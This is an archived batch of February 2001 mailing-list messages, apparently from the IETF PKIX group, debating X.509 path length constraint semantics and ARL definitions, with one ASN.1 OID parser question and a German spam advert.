John Pawling, [e-mail]
Getronics Government Solutions, LLC
===========================================



Received: from server.ica.cz (server.ica.cz [195.47.13.11]) by above.proper.com (8.9.3/8.9.3) with ESMTP id KAA15212 for <[e-mail]>; Fri, 16 Feb 2001 10:06:04 -0800 (PST)
Received: from SZOTKOWSKI (com.ica.cz [195.47.13.10]) by server.ica.cz (8.9.2/8.8.7) with SMTP id TAA23748 for <[e-mail]>; Fri, 16 Feb 2001 19:05:50 +0100 (CET)
Message-ID: <01f801c09843$185a5d60$[e-mail]>
From: "Martin Szotkowski" <[e-mail]>
To: <[e-mail]>
Subject: OT: asn.1 OID parser
Date: Fri, 16 Feb 2001 19:05:49 +0100
Organization: PVT, a.s.
MIME-Version: 1.0
Content-Type: text/plain; charset="iso-8859-2"
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.50.4133.2400
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400

Hi all,
(excuse me my off topic question)
I wish read OID from ASN.1 code and write them into other file with full
number specific OID.
from e.g.:
pkcs-1 OBJECT IDENTIFIER ::= {
     iso(1) member-body(2) us(840) rsadsi(113549) pkcs(1) 1 }
rsaEncryption OBJECT IDENTIFIER ::=  { pkcs-1 1 }
to e.g.:
pkcs-1 OBJECT IDENTIFIER ::= {1 2 840 113549 1 1 }
rsaEncryption OBJECT IDENTIFIER ::=  { 1 2 840 113549 1 1 1 }

Exist some C code or program or parser for do it?


thanks Martin





Received: from mail2.microsoft.com (mail2.microsoft.com [131.107.3.124]) by above.proper.com (8.9.3/8.9.3) with SMTP id HAA05748 for <[e-mail]>; Fri, 16 Feb 2001 07:26:22 -0800 (PST)
Received: from 157.54.9.104 by mail2.microsoft.com (InterScan E-Mail VirusWall NT); Fri, 16 Feb 2001 07:25:53 -0800 (Pacific Standard Time)
Received: by inet-imc-02.redmond.corp.microsoft.com with Internet Mail Service (5.5.2653.19) id <FB7XGX55>; Fri, 16 Feb 2001 07:25:40 -0800
Message-ID: <[e-mail]>
From: David Cross <[e-mail]>
To: [e-mail]
Subject: RE: Open Issue in Part1: path length constraints
Date: Fri, 16 Feb 2001 07:25:49 -0800
X-Mailer: Internet Mail Service (5.5.2653.19)

I concur with the following interpretation - there is not good cause for
change to this interpretation:

->After some discussion, we decided that the path length constraint in basic

constraints was intended to specify the number of intermediate certificates 
that could follow this certificate. This meant the max_path_length did not 
apply to the end certificate.

Regards,

David B. Cross



David B. Cross
Program Manager 
.NET Security 
(sent using Windows XP and Office XP)


-----Original Message-----
From: Steve Hanna [mailto:[e-mail]] 
Sent: Thursday, February 15, 2001 11:04 AM
To: Tim Polk
Cc: [e-mail]
Subject: Re: Open Issue in Part1: path length constraints


Thanks for raising this issue for discussion, Tim. I have several concerns
with the pathLenConstraint semantics described in new-part1-04.

First, this is an incompatible change to the existing semantics. RFC 2459
clearly states that pathLenConstraint "gives the maximum number of CA
certificates that may follow this certificate in a certification path." The
X.509 specs include similar wording. Many certificates have been issued with
the current semantics and code has been written that implements these
semantics. We shouldn't change the semantics in an incompatible manner
unless we have a very good reason.

Second, you have not described a good reason for this change. In the example
that you presented, certificates issued by CA "B" are covered by an indirect
CRL from CA "C". B wants to vouch for C as a CA *and* a CRL issuer. To avoid
the problem with pathLenConstraint, B should issue two certificates for C: a
CA certificate and an end-entity certificate with the cRLSign keyUsage bit
set.

Third, this will change the basic meaning of validating a path (or a
certificate). With the 2459 semantics, a path is either valid or it's not.
With the looser revised semantics, a path may be valid except for the
keyCertSign keyUsage in the final certificate. This means that the result of
a DPV operation ("Is this cert valid?") will not be a boolean value. It will
be something more complicated ("Yes, but not for keyCertSign keyUsage"). I
oppose making such a basic change without a strong reason and I haven't
heard any strong reason.

Thanks,

Steve

Tim Polk wrote:
> 
> Folks,
> 
> As noted in the Last Call message, there is an open issue on Part 1 
> regarding the processing of path length constraints.  The basic 
> constraints text (4.2.1.10, page 37) and path validation algorithm 
> wrap-up procedure (6.1.5, page 73) contained in the current draft of 
> Part1 does not consider the path length constraint for an end 
> certificate.  This has sparked some controversy.
> 
> In this message, I will attempt to describe the issue and the 
> trade-offs between the two different interpretations.  I apologize in 
> advance for the length of this message.  Brevity is not my strong 
> suit.
> 
> We first ran into this issue at NIST when we were developing the X.509 
> path validation tests.  There was some debate among the participants 
> whether a path should be rejected if the max_path_length state 
> variable was less than or equal to zero and the end certificate was a 
> CA certificate (i.e., basicConstraints included cA=TRUE).
> 
> After some discussion, we decided that the path length constraint in 
> basic constraints was intended to specify the number of intermediate 
> certificates that could follow this certificate. This meant the 
> max_path_length did not apply to the end certificate. The current text 
> of part1 reflects this line of reasoning:
> 
>  From 4.2.1.10:
> 
>  >The pathLenConstraint field is meaningful only if cA is set to TRUE. 
> In this  >case, it gives the maximum number of CA certificates that 
> may follow this  >certificate in a certification path. (Note: One end- 
> entity certificate will  >follow the final CA certificate in the path. 
> The last certificate in a path  >is considered an end-entity 
> certificate, whether the subject of the  >certificate is a CA or not.)
> 
> 6.1.5 supports this interpretation through omission:  there is no 
> processing step to consider the value of  max_path_length in the 
> wrap-up-procedure.  (The comparison step appears in 6.1.4, 
> "Preparation for Certificate i+1" so it is already performed for every 
> other certificate in the path.)
> 
> If the working group disagrees with this interpretation, the changes 
> to Part 1 are straightforward.  First, modify the parenthetical in 
> 4.2.1.10 to indicate that the end certificate in the path is 
> considered a CA certificate if the basic constraints extension 
> indicates cA=TRUE.  Secondly, add one new step (h) to 6.1.5 and reject 
> the certification path if (h) fails.
> 
> new step:
>  >
>  >(h) If the certificate was not self-issued, verify that 
> max_path_length is  >greater than zero and decrement max_path_length 
> by 1.
> 
> comparison statement:
>  >
>  >If check (h) fails, the procedure terminates, returning a failure 
> indication  >and an appropriate reason.
> 
> What is less straightforward (at least to me) is which approach is the 
> appropriate one.
> 
> Essentially, the relying party wishes to trust the public key of a 
> subject to perform an action *other* than validating a signature on a 
> certificate.  During the preparation for this certificate the value of 
> max_path_length has been decremented or reset to zero (steps (l) or 
> (m) in
> 6.1.4) , indicating no additional CA certificates may be processed.
> 
> If that subject of the last certificate is not a CA, the path is 
> clearly acceptable.  But what if the subject is a CA? Should the 
> relying party reject the path because the key is in a CA certificate 
> *or* accept the path because the subject is not being treated as a CA?
> 
> I cannot come up with a security rationale for rejecting such a 
> certificate.  On the other hand, I do need to stretch a bit to devise 
> a scenario where accepting this certificate is beneficial.
> 
> Here is the beneficial scenario:
> 
> CA "A" issues a CA certificate to CA "B".  "A" trusts end entity 
> certificates issued by "B", but does not trust "B" to issue 
> certificates to other CAs.  "A" includes basic constraints in the 
> certificate it issues to "B" with cA = TRUE and pathLen = 0.
> 
> "B" does not issue its own CRLs, but delegates this to CA "C".  "B" 
> also trusts "C" to issue end entity certificates. So, "B" includes 
> basic constraints in the certificate it issues to "B" with cA = TRUE.
> 
> Alice's trust point is "A".
> Bob's trust point is "B", and "B" issued his certificate.  Bob's 
> certificate includes a CRL distribution points extension identifying 
> "C" as the indirect CRL issuer. Carol's trust point is "C", and "C" 
> issued her certificate.
> 
> Using the current text/algorithm, Alice can validate the certification 
> path for Bob including the indirect CRL signed by "C".  This required 
> Alice to validate the certification path ending with the certificated 
> issued by "B" to "C".
> 
> Alice cannot validate Carol's certificate, though.  Alice cannot trust 
> any certification path  that includes the certificate issued by "B" to 
> "C" as an intermediate certificate.
> 
> This *seems* to satisfy the spirit of the path length constraint, but 
> not the letter.
> 
> On the other hand:
> 
> If max_path_length is used to reject end certificates whose subjects 
> are CAs, Alice would not be able to validate Bob's certification path.  
> Alice could not process the indirect CRL.
> 
> If "A" relaxed the path length constraint (1 instead of zero) Alice 
> would be able to validate Bob's certification path.  Unfortunately, 
> this would also permit Alice to validate Carol's certification path, 
> which "A" did not intend.
> 
> This honors the letter of the path length constraint but did not 
> achieve the intended results.
> 
> Even with this scenario, there are at least two workarounds.  Either 
> CA "A" or CA "B" could issue a certificate to "C" that omitted the 
> basic constraints extension (but included the cRLSign bit in 
> keyUsage).  Alice would then be able to process paths as intended.  
> Alice would accept Bob's certification path and reject Carol's.
> 
> -----------------------------------
> 
> In summary:
> 
> (1) The current text describes a comparatively liberal interpretation 
> of basic constraints.
> (2) A straightforward reading of RFC 2459 or X.509 implies a more 
> conservative interpretation.
> (3) Either interpretation may be easily accommodated in the new 
> specification.
> (4) I cannot devise a security attack based on the more liberal
interpretation.
> (5) I can devise one scenario where the more liberal interpretation was
> beneficial. (It is unclear if there are others.)
> (6) It is certainly possible to implement this same scenario with the more
> conservative interpretation.  It requires issuing one additional
certificate.
> 
> Any thoughts?
> 
> Thanks,
> 
> Tim Polk
> 
> P.S.  I should state that implementations exist that implement both 
> interpretations.


Received: from email.nist.gov (email.nist.gov [129.6.2.7]) by above.proper.com (8.9.3/8.9.3) with ESMTP id OAA28660 for <[e-mail]>; Thu, 15 Feb 2001 14:39:04 -0800 (PST)
Received: from krdp2 (krdp2.ncsl.nist.gov [129.6.54.107]) by email.nist.gov (8.9.3/8.9.3) with ESMTP id RAA13982 for <[e-mail]>; Thu, 15 Feb 2001 17:39:06 -0500 (EST)
Message-Id: <[e-mail]>
X-Sender: [e-mail]
X-Mailer: QUALCOMM Windows Eudora Pro Version 4.2.2 
Date: Thu, 15 Feb 2001 17:38:55 -0500
To: [e-mail]
From: "David A. Cooper" <[e-mail]>
Subject: Re: Open Issue in Part1: path length constraints
In-Reply-To: <[e-mail]>
References: <[e-mail]>
Mime-Version: 1.0
Content-Type: text/plain; charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by above.proper.com id OAA28661

Steve,

As Tim noted in his message yesterday, no matter which way we choose to define the semantics for the pathLenConstraint field in basicConstraints, it will be possible for CAs to issue certificates in a way that achieves their desired results. I do believe however, that the semantics described in new-part1-04 are more straightforward and will make it more likely that CAs will issue certificates properly. So, I think that semantics currently described in the draft are preferable to the alternative.

My detailed comments are included in-line below.

At 02:04 PM 2/15/01 -0500, Steve Hanna wrote:
>Thanks for raising this issue for discussion, Tim. I have several
>concerns with the pathLenConstraint semantics described in new-part1-04.
>
>First, this is an incompatible change to the existing semantics.
>RFC 2459 clearly states that pathLenConstraint "gives the maximum number
>of CA certificates that may follow this certificate in a certification
>path." The X.509 specs include similar wording. Many certificates have
>been issued with the current semantics and code has been written that
>implements these semantics. We shouldn't change the semantics in an
>incompatible manner unless we have a very good reason.

I believe that the problem we are currently experiencing is as a result of the original text not being sufficiently clear. Now that a detailed path validation algorithm has been included in son-of-2459 and NIST has made available a certification path test suite, it is coming to light that different groups have interpreted some of the statements in X.509 and RFC 2459 differently. As Tim mentioned yesterday, we have come across implementations that observe the pathLenConstraint semantics that are described in new-part1-04, so no matter which semantics we choose, there will be current implementations that do things differently.

Fortunately, I do not think that the confusion with the semantics of pathLenConstraint will lead to any significant problems. In particular, I don't think that processing certification paths according to the semantics in new-part1-04 will violate the intentions of any previously issued CA certificates, even if the issuers had interpreted pathLenConstraint according to the semantics that you prefer. On the other hand, implementations that process certification paths according to the semantics that you prefer will only reject certification paths in which the final certificate in the path contains a basicConstraints extension with cA=TRUE and in which a previous CA had imposed a path length constraint that would prevent the subject of this certificate from issuing further certificates. This is a scenario that not likely to be very common.

>Second, you have not described a good reason for this change. In the
>example that you presented, certificates issued by CA "B" are covered by
>an indirect CRL from CA "C". B wants to vouch for C as a CA *and* a CRL
>issuer. To avoid the problem with pathLenConstraint, B should issue two
>certificates for C: a CA certificate and an end-entity certificate with
>the cRLSign keyUsage bit set.

This is certainly one option. One could include in the profile a requirement that certificates issued to a CA for the purposes of "empowering" that CA to issue certificates should be issued only for that purpose (and perhaps also to allow the relying party to validate CRLs issued by that CA for the certificates that it issues). If there is a desire to "empower" the CA to use its private key to perform other functions (e.g., sign indirect CRLs, sign PKI transactions messages, etc.) then a second certificate should be issued in which basicConstraints is absent. The result would be that the certificate that did not contain the basicConstraints extension could be validated even by those relying parties that are using the restrictive pathLenConstraint semantics that could not validate the certificate with basicConstraints in it as a result of a path length constraint in a previous certificate in the path.

I do not see any benefit to requiring CAs to issue two certificates, however. Particularly in the scenario that Tim described yesterday in which a cross-certificate is being issued both to "empower" the subject to issue certificates and to "empower" the subject to issue indirect CRLs. While it would be possible to issue two separate certificates, it may be easier from a management perspective to only issue one. Furthermore, since the people who are issuing the certificates will not be experts on every minute detail of X.509, we have to assume that by imposing more complex requirements on the issuers, we would be making it more likely that mistakes would be made (e.g., a CA may issue a cross-certificate to allow for the validation of indirect CRLs, but may include basicConstraints with cA=TRUE since operator of the CA thinks of the issuer of CRLs as a CA).

>Third, this will change the basic meaning of validating a path (or a
>certificate). With the 2459 semantics, a path is either valid or it's
>not. With the looser revised semantics, a path may be valid except for
>the keyCertSign keyUsage in the final certificate. This means that the
>result of a DPV operation ("Is this cert valid?") will not be a boolean
>value. It will be something more complicated ("Yes, but not for
>keyCertSign keyUsage"). I oppose making such a basic change without a
>strong reason and I haven't heard any strong reason.

I do not agree that this changes the basic meaning of validating a path. For starters, the result of path validation is not a boolean. Currently, if a path is accepted, it is accepted under a set of certificate policies along with (in theory, at least) a set of policy qualifiers.

You seem to suggest that we are now stating that a path may be valid expect for the keyCertSign key usage. However, one should never make use of the keyCertSign key usage bit when it appears in the last certificate in a path.

Suppose that you have the following set of entities and corresponding certificates:

         CA1 --------> CA2 ----------> CA3 -----------> CA4 -------> .... -------> CAn ---------> EE

If you want to validate the certificate issued to EE, you should always do so by performing path validation on the path that beings with a certificate issued by a trust anchor (e.g., CA1) and that ends with the certificate issued to EE. You should never perform the validation by first performing path validation on a path that ends with the certificate issued to CAn, and then upon determining that the certificate issued to CAn is valid and contains the keyCertSign key usage, using CAn's public key to validate the certificate issued to EE. So, it seems to me that the presence of the keyCertSign bit in a certificate that is at the end of a certification path should never be considered relevant. Am I missing something?

Furthermore, even if you did accept that idea that one could make use of the keyCertSign key usage bit in the final certificate in a certification path, you still could not make the claim that the decision to validate the certificate was a binary one. If you are going to make use of the public key in the final certificate in the path to validate certificates, then the use of that public key is still limited by the path length constraints, name constraints, etc., imposed by previous certificates in the certification path. In other words, the use of the public key to validate certificates should be treated as a continuation of path validation.

So, I do not think that the presence of keyCertSign in the final certificate is a valid concern. What about the other key usages? None of the other key usages require the presence of basicConstraints with cA=TRUE. So, a CA could always issue two certificates: one with basicConstraints, cA=TRUE that has keyCertSign asserted and another with basicConstraints absent that asserts any of the other desired key usages. The results of processing these certificates would be the same under both semantics (Technically the semantics in new-part1-04 would result in the certificate with basicConstraints present being accepted when it is the last certificate in the path in some cases where the certificate would be rejected under the other semantics. However, since this certificate only asserts the keyCertSign keyUsage, it would be useless as an end certificate as I noted above). With the semantics in new-part-04, however, CAs would be able to issue only one certificate. The ability to issue just one certificate may be considered simpler from a management perspective. Being less restrictive with the semantics would also make it less likely that paths would not validate as a result of improperly issued certificates.

Of course, as I mentioned earlier, it is possible to achieve the desired results in a PKI using either of the semantics, so the main goal should be to ensure that whatever the final decision is, the semantics are clearly written in the next draft of the certificate and CRL profile.

Perhaps others, particularly those who have already implemented this extension, could provide their opinions on this subject as well.

Dave




Received: from patan.sun.com (patan.Sun.COM [192.18.98.43]) by above.proper.com (8.9.3/8.9.3) with ESMTP id LAA17333 for <[e-mail]>; Thu, 15 Feb 2001 11:07:38 -0800 (PST)
Received: from eastmail1.East.Sun.COM ([129.148.1.240]) by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id LAA28911; Thu, 15 Feb 2001 11:07:38 -0800 (PST)
Received: from sunlabs.East.Sun.COM (sunlabs.East.Sun.COM [129.148.75.250]) by eastmail1.East.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id OAA20944; Thu, 15 Feb 2001 14:07:37 -0500 (EST)
Received: from sun.com (dhcp75-155 [129.148.75.155]) by sunlabs.East.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id OAA10178; Thu, 15 Feb 2001 14:07:36 -0500 (EST)
Message-ID: <[e-mail]>
Date: Thu, 15 Feb 2001 14:04:19 -0500
From: Steve Hanna <[e-mail]>
Organization: Sun Microsystems, Inc.
X-Mailer: Mozilla 4.75 [en] (WinNT; U)
X-Accept-Language: en
MIME-Version: 1.0
To: Tim Polk <[e-mail]>
CC: [e-mail]
Subject: Re: Open Issue in Part1: path length constraints
References: <[e-mail]>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Thanks for raising this issue for discussion, Tim. I have several
concerns with the pathLenConstraint semantics described in new-part1-04.

First, this is an incompatible change to the existing semantics.
RFC 2459 clearly states that pathLenConstraint "gives the maximum number
of CA certificates that may follow this certificate in a certification
path." The X.509 specs include similar wording. Many certificates have
been issued with the current semantics and code has been written that
implements these semantics. We shouldn't change the semantics in an
incompatible manner unless we have a very good reason.

Second, you have not described a good reason for this change. In the
example that you presented, certificates issued by CA "B" are covered by
an indirect CRL from CA "C". B wants to vouch for C as a CA *and* a CRL
issuer. To avoid the problem with pathLenConstraint, B should issue two
certificates for C: a CA certificate and an end-entity certificate with
the cRLSign keyUsage bit set.

Third, this will change the basic meaning of validating a path (or a
certificate). With the 2459 semantics, a path is either valid or it's
not. With the looser revised semantics, a path may be valid except for
the keyCertSign keyUsage in the final certificate. This means that the
result of a DPV operation ("Is this cert valid?") will not be a boolean
value. It will be something more complicated ("Yes, but not for
keyCertSign keyUsage"). I oppose making such a basic change without a
strong reason and I haven't heard any strong reason.

Thanks,

Steve

Tim Polk wrote:
> 
> Folks,
> 
> As noted in the Last Call message, there is an open issue on Part 1
> regarding the processing of path length constraints.  The basic constraints
> text (4.2.1.10, page 37) and path validation algorithm wrap-up procedure
> (6.1.5, page 73) contained in the current draft of Part1 does not consider
> the path length constraint for an end certificate.  This has sparked some
> controversy.
> 
> In this message, I will attempt to describe the issue and the trade-offs
> between the two different interpretations.  I apologize in advance for the
> length of this message.  Brevity is not my strong suit.
> 
> We first ran into this issue at NIST when we were developing the X.509 path
> validation tests.  There was some debate among the participants whether a
> path should be rejected if the max_path_length state variable was less than
> or equal to zero and the end certificate was a CA certificate (i.e.,
> basicConstraints included cA=TRUE).
> 
> After some discussion, we decided that the path length constraint in basic
> constraints was intended to specify the number of intermediate certificates
> that could follow this certificate. This meant the max_path_length did not
> apply to the end certificate. The current text of part1 reflects this line
> of reasoning:
> 
>  From 4.2.1.10:
> 
>  >The pathLenConstraint field is meaningful only if cA is set to TRUE. In this
>  >case, it gives the maximum number of CA certificates that may follow this
>  >certificate in a certification path. (Note: One end- entity certificate will
>  >follow the final CA certificate in the path. The last certificate in a path
>  >is considered an end-entity certificate, whether the subject of the
>  >certificate is a CA or not.)
> 
> 6.1.5 supports this interpretation through omission:  there is no
> processing step to consider the value of  max_path_length in the
> wrap-up-procedure.  (The comparison step appears in 6.1.4, "Preparation for
> Certificate i+1" so it is already performed for every other certificate in
> the path.)
> 
> If the working group disagrees with this interpretation, the changes to
> Part 1 are straightforward.  First, modify the parenthetical in 4.2.1.10 to
> indicate that the end certificate in the path is considered a CA
> certificate if the basic constraints extension indicates
> cA=TRUE.  Secondly, add one new step (h) to 6.1.5 and reject the
> certification path if (h) fails.
> 
> new step:
>  >
>  >(h) If the certificate was not self-issued, verify that max_path_length is
>  >greater than zero and decrement max_path_length by 1.
> 
> comparison statement:
>  >
>  >If check (h) fails, the procedure terminates, returning a failure indication
>  >and an appropriate reason.
> 
> What is less straightforward (at least to me) is which approach is the
> appropriate one.
> 
> Essentially, the relying party wishes to trust the public key of a subject
> to perform an action *other* than validating a signature on a
> certificate.  During the preparation for this certificate the value of
> max_path_length has been decremented or reset to zero (steps (l) or (m) in
> 6.1.4) , indicating no additional CA certificates may be processed.
> 
> If that subject of the last certificate is not a CA, the path is clearly
> acceptable.  But what if the subject is a CA? Should the relying party
> reject the path because the key is in a CA certificate *or* accept the path
> because the subject is not being treated as a CA?
> 
> I cannot come up with a security rationale for rejecting such a
> certificate.  On the other hand, I do need to stretch a bit to devise a
> scenario where accepting this certificate is beneficial.
> 
> Here is the beneficial scenario:
> 
> CA "A" issues a CA certificate to CA "B".  "A" trusts end entity
> certificates issued by "B", but does not trust "B" to issue certificates to
> other CAs.  "A" includes basic constraints in the certificate it issues to
> "B" with cA = TRUE and pathLen = 0.
> 
> "B" does not issue its own CRLs, but delegates this to CA "C".  "B" also
> trusts "C" to issue end entity certificates. So, "B" includes basic
> constraints in the certificate it issues to "B" with cA = TRUE.
> 
> Alice's trust point is "A".
> Bob's trust point is "B", and "B" issued his certificate.  Bob's
> certificate includes a CRL distribution points extension identifying "C" as
> the indirect CRL issuer.
> Carol's trust point is "C", and "C" issued her certificate.
> 
> Using the current text/algorithm, Alice can validate the certification path
> for Bob including the indirect CRL signed by "C".  This required Alice to
> validate the certification path ending with the certificated issued by "B"
> to "C".
> 
> Alice cannot validate Carol's certificate, though.  Alice cannot trust any
> certification path  that includes the certificate issued by "B" to "C" as
> an intermediate certificate.
> 
> This *seems* to satisfy the spirit of the path length constraint, but not
> the letter.
> 
> On the other hand:
> 
> If max_path_length is used to reject end certificates whose subjects are
> CAs, Alice would not be able to validate Bob's certification path.  Alice
> could not process the indirect CRL.
> 
> If "A" relaxed the path length constraint (1 instead of zero) Alice would
> be able to validate Bob's certification path.  Unfortunately, this would
> also permit Alice to validate Carol's certification path, which "A" did not
> intend.
> 
> This honors the letter of the path length constraint but did not achieve
> the intended results.
> 
> Even with this scenario, there are at least two workarounds.  Either CA "A"
> or CA "B" could issue a certificate to "C" that omitted the basic
> constraints extension (but included the cRLSign bit in keyUsage).  Alice
> would then be able to process paths as intended.  Alice would accept Bob's
> certification path and reject Carol's.
> 
> -----------------------------------
> 
> In summary:
> 
> (1) The current text describes a comparatively liberal interpretation of
> basic constraints.
> (2) A straightforward reading of RFC 2459 or X.509 implies a more
> conservative interpretation.
> (3) Either interpretation may be easily accommodated in the new specification.
> (4) I cannot devise a security attack based on the more liberal interpretation.
> (5) I can devise one scenario where the more liberal interpretation was
> beneficial. (It is unclear if there are others.)
> (6) It is certainly possible to implement this same scenario with the more
> conservative interpretation.  It requires issuing one additional certificate.
> 
> Any thoughts?
> 
> Thanks,
> 
> Tim Polk
> 
> P.S.  I should state that implementations exist that implement both
> interpretations.


Received: from ext-mail.valicert.com (ns1.valicert.com [63.65.221.10]) by above.proper.com (8.9.3/8.9.3) with ESMTP id WAA11623 for <[e-mail]>; Wed, 14 Feb 2001 22:41:05 -0800 (PST)
Received: from CONVERSION-DAEMON by ext-mail.valicert.com (PMDF V5.2-33 #46613) id <[e-mail]> for [e-mail]; Wed, 14 Feb 2001 22:41:09 -0800 (PST)
Received: from polaris.valicert.com ([192.168.2.34]) by ext-mail.valicert.com (PMDF V5.2-33 #46613) with ESMTP id <[e-mail]>; Wed, 14 Feb 2001 22:41:09 -0800 (PST)
Received: by exchange.valicert.com with Internet Mail Service (5.5.2650.21) id <19FD53J1>; Wed, 14 Feb 2001 22:35:51 -0800
Content-return: allowed
Date: Wed, 14 Feb 2001 22:35:47 -0800
From: Ambarish Malpani <[e-mail]>
Subject: RE: ARL without IDP extension
To: "'Hiroyuki Sakakibara'" <[e-mail]>, [e-mail]
Message-id: <[e-mail]>
MIME-version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-type: text/plain;	charset="iso-2022-jp"

Hi,
    I would agree with you, that any CRL that didn't contain
the IDP extension *is* a full CRL. Anything else would be an
invitation to trouble.

Ambarish

---------------------------------------------------------------------
Ambarish Malpani
Architect                                                650.567.5457
ValiCert, Inc.                                  [e-mail]
339 N. Bernardo Ave.                          http://www.valicert.com
Mountain View, CA 94043


> -----Original Message-----
> From: Hiroyuki Sakakibara [mailto:[e-mail]]
> Sent: Wednesday, February 14, 2001 10:13 PM
> To: [e-mail]
> Subject: ARL without IDP extension
> 
> 
> Hello
> 
> I have a question about the definition of ARL.
> 
> I think that the definition of ARL is
> 
> "a CRL which contains Issuing Distribution Point
>   with onlyContainAuthorityCerts = TRUE."
> 
> hence, I think the following CRL is NOT ARL.
> 
> "CRL which contains ONLY CA Certificate Revocation 
> Information on the list
> but not containts IDP"
> 
> I think this is a Complete CRL ( eventhough it contains only 
> CA Certificate
> information).
> 
> Am I right ?
> 
> -------------------------------------------------------------
> 
> If the CRL is determied as ARL, the following problem
> may occur.
> 
> * CRL1(as ARL)
> Issuer = XYZ_CA
> thisUpdate = 2001 02 14 12 00 00 Z
> nextUpdate = 2001 03 14 12 00 00 Z
> contains CA Certificate Information only
> ( Cert1 issued by XYZ_CA is revoked )
> without IDP
> 
> * CRL2
> Issuer = XYZ_CA
> thisUpdate = 2001 02 14 18 00 00 Z
> nextUpdate = 2001 03 14 18 00 00 Z
> contains EndUser Certificate Information only
> without IDP
> 
> Assume that RP check these CRLs at date = 2001 02 17 12 00 00 Z,
> RP determine that the latest CRL for a CA certificate "Cert1" 
> issued by
> XYZ_CA  is "CRL2" (for example, cross-certification environment).
> 
> But CRL2 does not contain CA Certificates information, hence RP may
> misunderstand that the certificate was valid.
> 
> OR if the definition of CRL1 is correct as ARL( because it contains
> ONLY CA Certificate Information),
> RP should check both CRL1 and CRL2 ???
> 
> I welcome any comments.
> Thank you.
> 
> --------------------------
> Hiroyuki Sakakibara
> Mitsubishi Electric Corporation
> 
> 


Received: from mx02.melco.co.jp (mx01.melco.co.jp [192.218.140.41]) by above.proper.com (8.9.3/8.9.3) with ESMTP id WAA10853 for <[e-mail]>; Wed, 14 Feb 2001 22:09:49 -0800 (PST)
Received: by mx02.melco.co.jp (mx02) id PAA28423; Thu, 15 Feb 2001 15:09:44 +0900 (JST)
Received: by mr01.melco.co.jp (mr01) id PAA26733; Thu, 15 Feb 2001 15:09:41 +0900 (JST)
Received: from islgw.isl.melco.co.jp by elgw.isl.melco.co.jp (8.8.8/3.6W) id PAA29422; Thu, 15 Feb 2001 15:09:40 +0900 (JST)
Received: from iss.isl.melco.co.jp by islgw.isl.melco.co.jp (8.8.8/3.6W) id PAA06557; Thu, 15 Feb 2001 15:09:39 +0900 (JST)
Received: from belize by iss.isl.melco.co.jp (8.8.8/3.6W) id PAA09076; Thu, 15 Feb 2001 15:09:38 +0900 (JST)
Message-ID: <031d01c09716$56e50c20$[e-mail]>
From: "Hiroyuki Sakakibara" <[e-mail]>
To: <[e-mail]>
Subject: ARL without IDP extension
Date: Thu, 15 Feb 2001 15:12:56 +0900
MIME-Version: 1.0
Content-Type: text/plain; charset="iso-2022-jp"
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.00.2314.1300
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300

Hello

I have a question about the definition of ARL.

I think that the definition of ARL is

"a CRL which contains Issuing Distribution Point
  with onlyContainAuthorityCerts = TRUE."

hence, I think the following CRL is NOT ARL.

"CRL which contains ONLY CA Certificate Revocation Information on the list
but not containts IDP"

I think this is a Complete CRL ( eventhough it contains only CA Certificate
information).

Am I right ?

-------------------------------------------------------------

If the CRL is determied as ARL, the following problem
may occur.

* CRL1(as ARL)
Issuer = XYZ_CA
thisUpdate = 2001 02 14 12 00 00 Z
nextUpdate = 2001 03 14 12 00 00 Z
contains CA Certificate Information only
( Cert1 issued by XYZ_CA is revoked )
without IDP

* CRL2
Issuer = XYZ_CA
thisUpdate = 2001 02 14 18 00 00 Z
nextUpdate = 2001 03 14 18 00 00 Z
contains EndUser Certificate Information only
without IDP

Assume that RP check these CRLs at date = 2001 02 17 12 00 00 Z,
RP determine that the latest CRL for a CA certificate "Cert1" issued by
XYZ_CA  is "CRL2" (for example, cross-certification environment).

But CRL2 does not contain CA Certificates information, hence RP may
misunderstand that the certificate was valid.

OR if the definition of CRL1 is correct as ARL( because it contains
ONLY CA Certificate Information),
RP should check both CRL1 and CRL2 ???

I welcome any comments.
Thank you.

--------------------------
Hiroyuki Sakakibara
Mitsubishi Electric Corporation




Received: from scratchy.stromtip.de ([195.243.167.74]) by above.proper.com (8.9.3/8.9.3) with ESMTP id PAA26755 for <[e-mail]>; Wed, 14 Feb 2001 15:54:48 -0800 (PST)
Received: from Einar ([62.153.35.30]) by scratchy.stromtip.de (Post.Office MTA v3.5.3 release 223 ID# 127-60294U3000L300S0V35) with SMTP id de for <[e-mail]>; Thu, 15 Feb 2001 01:01:28 +0100
Message-ID: <014301c096e2$7010d320$[e-mail]>
From: "info" <[e-mail]>
To: <[e-mail]>
Subject: =?iso-8859-1?Q?=DCbersetzer-Info?=
MIME-Version: 1.0
Content-Type: text/plain; charset="iso-8859-1"
X-Mailer: Microsoft Outlook Express 5.00.2615.200
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2615.200
Date: Thu, 15 Feb 2001 01:01:28 +0100
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by above.proper.com id PAA26758

Sehr geehrte Damen und Herren,

Sie benötigen regelmäßig Übersetzungen von Fachtexten und Webseiten
- und das am besten in Stunden, und nicht in Tagen?

In nur 60 Sekunden können Sie sich hier umfassend über unseren innovativen B2B Übersetzungsdienst informieren:
 www.dieuebersetzer.de/grafik/eubylon23.html



Falls Sie keine weiteren Informationen wünschen dann klicken Sie bitte hier: 
 mailto:[e-mail]



Mit freundlichen Grüßen

Klaus Neumann
Kundenbetreuung


www.dieuebersetzer.de
wir überwinden Barrieren

ein Service der:
Eubylon GmbH
Ackerstraße 14-15
10115 Berlin
[e-mail]
T: [phone]
F: [phone]


Received: from mercury.Sun.COM (mercury.Sun.COM [192.9.25.1]) by above.proper.com (8.9.3/8.9.3) with ESMTP id NAA17060 for <[e-mail]>; Wed, 14 Feb 2001 13:26:06 -0800 (PST)
